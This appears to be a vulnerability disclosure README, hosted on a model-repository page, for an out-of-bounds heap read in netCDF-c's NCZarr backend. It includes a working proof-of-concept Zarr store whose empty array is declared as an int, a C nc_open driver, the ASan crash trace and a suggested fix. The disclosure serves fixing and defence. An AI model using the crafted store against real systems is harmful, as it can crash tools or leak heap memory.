You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

NCZarr heap-buffer-overflow READ in ncz_read_atts() via empty-array _nczarr_default_maxstrlen root-group attribute typed as fixed-size int

Summary

A heap-buffer-overflow READ of 4 bytes occurs in netCDF-c's NCZarr backend when opening a maliciously-crafted Zarr v2 store. The bug is reached eagerly at nc_open time because the root group's attributes are parsed during ncz_open_file(). No variables and no data payload are required โ€” two tiny JSON files (.zgroup, .zattrs) trigger it.

  • Target: Unidata/netcdf-c
  • Commit: c91c55d8fbcd64837d0dbc2f494aed2e0455b391 (2026-07-09), main
  • Component: libnczarr (NCZarr) attribute parsing
  • Crash type: heap-buffer-overflow (READ, size 4) โ€” CWE-125 Out-of-bounds Read
  • Build: clang -fsanitize=address, Debug libnetcdf, -DNETCDF_ENABLE_NCZARR=ON -DNETCDF_ENABLE_HDF5=OFF
  • Trigger surface: nc_open() on an attacker-supplied NCZarr store (mode=nczarr,file)

Root cause

In libnczarr/zsync.c, ncz_read_atts() special-cases two reserved-ish, non-hidden attributes: _nczarr_maxstrlen (per-variable) and _nczarr_default_maxstrlen (root group). For each, it unconditionally dereferences the first element of the attribute's data buffer, guarded only by a type-tag check (NC_INT):

/* libnczarr/zsync.c โ€” inside ncz_read_atts() */
if((stat = computeattrinfo(aname,jtypes,typehint,purezarr,value,
                           &typeid,&typelen,&len,&data)))
    goto done;
if((stat = ncz_makeattr(container,attlist,aname,typeid,len,data,&att)))   /* :1292 */
    goto done;
...
if(ismaxstrlen && att->nc_typeid == NC_INT)
    zvar->maxstrlen = ((int*)att->data)[0];              /* :1300  (var path) */
if(isdfaltmaxstrlen && att->nc_typeid == NC_INT)
    zinfo->default_maxstrlen = ((int*)att->data)[0];     /* :1302  (root-group path, crash) */

The attribute's declared type comes from the attacker-controlled _nczarr_attr.types dict ("<i4" = NC_INT), while its length and value come from the separate .zattrs JSON value. The two are never reconciled.

If the JSON value is an empty array [] while the type is declared "<i4", the pipeline computeattrinfo() -> computeattrdata() -> zconvert() produces an attribute with len == 0 and a zero-sized data buffer. ncz_makeattr() (libnczarr/zattr.c:1023) then calls malloc(len * typesize) = malloc(0), which under ASan returns a 1-byte region. The subsequent ((int*)att->data)[0] reads 4 bytes out of that 0/1-byte allocation.

Neither the element count (len == 0) nor the buffer size is checked before the dereference. Only the type tag is validated, and the type tag is exactly the field the attacker controls independently of the array length.

The _nczarr_default_maxstrlen variant (line 1302) is the more serious of the two because it is reached at open time for the root group: ncz_open_file() (libnczarr/zopen.c:111) reads the root group's attributes before any user action.

Proof of Concept

A minimal NCZarr store โ€” two files, no variables, no chunks (store_bug/):

store_bug/.zgroup:

{"zarr_format": 2}

store_bug/.zattrs:

{"_nczarr_group": {"dimensions": {}, "arrays": [], "groups": []}, "_nczarr_superblock": {"version": "2.0.0"}, "_nczarr_default_maxstrlen": [], "_nczarr_attr": {"types": {"_nczarr_group": "|J0", "_nczarr_superblock": "|J0", "_nczarr_attr": "|J0", "_nczarr_default_maxstrlen": "<i4"}}}

The empty array [] combined with the declared type "<i4" for _nczarr_default_maxstrlen is the entire trigger.

Driver (readnc.c, included):

#include <stdio.h>
#include "netcdf.h"
int main(int argc, char **argv) {
    char url[4096];
    snprintf(url,sizeof(url),"file://%s#mode=nczarr,file",argv[1]);
    int ncid;
    int st = nc_open(url, NC_NOWRITE, &ncid);
    printf("nc_open(%s) -> %d (%s)\n", url, st, nc_strerror(st));
    if (st) return 1;
    nc_close(ncid);
    printf("OK closed\n");
    return 0;
}

Run:

./readnc /abs/path/to/store_bug

Captured evidence (verbatim ASan report)

==296849==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b25581e1410 at pc 0x557257bdd570 bp 0x7ffc3a0dfb50 sp 0x7ffc3a0dfb48
READ of size 4 at 0x7b25581e1410 thread T0
    #0 0x557257bdd56f in ncz_read_atts /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1302
    #1 0x557257bd712b in ncz_open_file /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:111
    #2 0x557257bd6c6a in NCZ_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:184
    #3 0x557257bc3368 in NC_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:2258
    #4 0x557257bc2a04 in nc_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:696
    #5 0x557257bc1a04 in main ../poc/readnc.c:8

0x7b25581e1411 is located 0 bytes after 1-byte region [0x7b25581e1410,0x7b25581e1411)
allocated by thread T0 here:
    #0 0x7f055932435f in malloc
    #1 0x557257cc2a85 in ncz_makeattr /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zattr.c:1023
    #2 0x557257bdd22d in ncz_read_atts /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1292
    #3 0x557257bd712b in ncz_open_file /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:111
    #4 0x557257bd6c6a in NCZ_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:184
    #5 0x557257bc3368 in NC_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:2258
    #6 0x557257bc2a04 in nc_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:696
    #7 0x557257bc1a04 in main ../poc/readnc.c:8

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1302 in ncz_read_atts

(Full report with shadow-byte dump: ASAN_default_maxstrlen_heap_oob.txt.)

Negative control

An identical store, differing only in the single JSON value _nczarr_default_maxstrlen, opens cleanly (store_neg/):

store_neg/.zattrs uses "_nczarr_default_maxstrlen": [10] (one valid int) instead of []. The only differing byte-content between the two stores is [] vs [10], isolating the defect precisely to the empty-array / declared-type mismatch.

nc_open(file:///.../maxstrlen_bug/store_neg#mode=nczarr,file) -> 0 (No error)
OK closed

No ASan report; nc_open returns 0.

Impact

Opening an untrusted NCZarr store (a directory tree, zip, or S3 object that any tool built on netCDF-c may nc_open) triggers an out-of-bounds heap read at open time, before any application logic runs. Consequences range from a crash / denial of service to potential information disclosure of adjacent heap contents into default_maxstrlen, which subsequently influences string-length handling.

Suggested fix

Before dereferencing att->data[0], require the attribute to actually contain at least one element, e.g. gate both the _nczarr_maxstrlen (line 1300) and _nczarr_default_maxstrlen (line 1302) reads on att->len >= 1 (equivalently len >= 1) in addition to the existing nc_typeid == NC_INT check, and reconcile the declared _nczarr_attr.types type against the actual parsed value length.

Repository contents

README.md                             this file
store_bug/.zgroup                     {"zarr_format": 2}
store_bug/.zattrs                     crashing store (empty array [] + type "<i4")
store_neg/.zgroup                     {"zarr_format": 2}
store_neg/.zattrs                     negative control ([10] + type "<i4"), opens cleanly
readnc.c                              3-line nc_open driver
ASAN_default_maxstrlen_heap_oob.txt   full verbatim ASan report incl. shadow bytes

Dedup / novelty note

Distinct from all prior filed netCDF-c findings:

  • Prior bugs are WRITE overflows in define_var1() (scalar-shape, chunks stack-overflow, dimref heap-OOB via decodeints/parsedimrefs) or in the NC3/classic attribute-array path (nc3-getatt-oob-read, attrarray-overflow).
  • This is a READ overflow on the attribute (not variable) parsing path, in a different function (ncz_read_atts), at a different line (zsync.c:1302), with a different root cause (declared-type vs. value-length mismatch on the reserved _nczarr_default_maxstrlen root-group attribute).
  • Not covered by any existing huntr-poc-netcdf-* / *nczarr* artifact (scalar-shape, chunks-stack-overflow, dimref-heap-oob, nc3-getatt-oob-read, attrarray-overflow).

No public CVE currently maps to ncz_read_atts / _nczarr_default_maxstrlen empty-array handling at time of writing.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support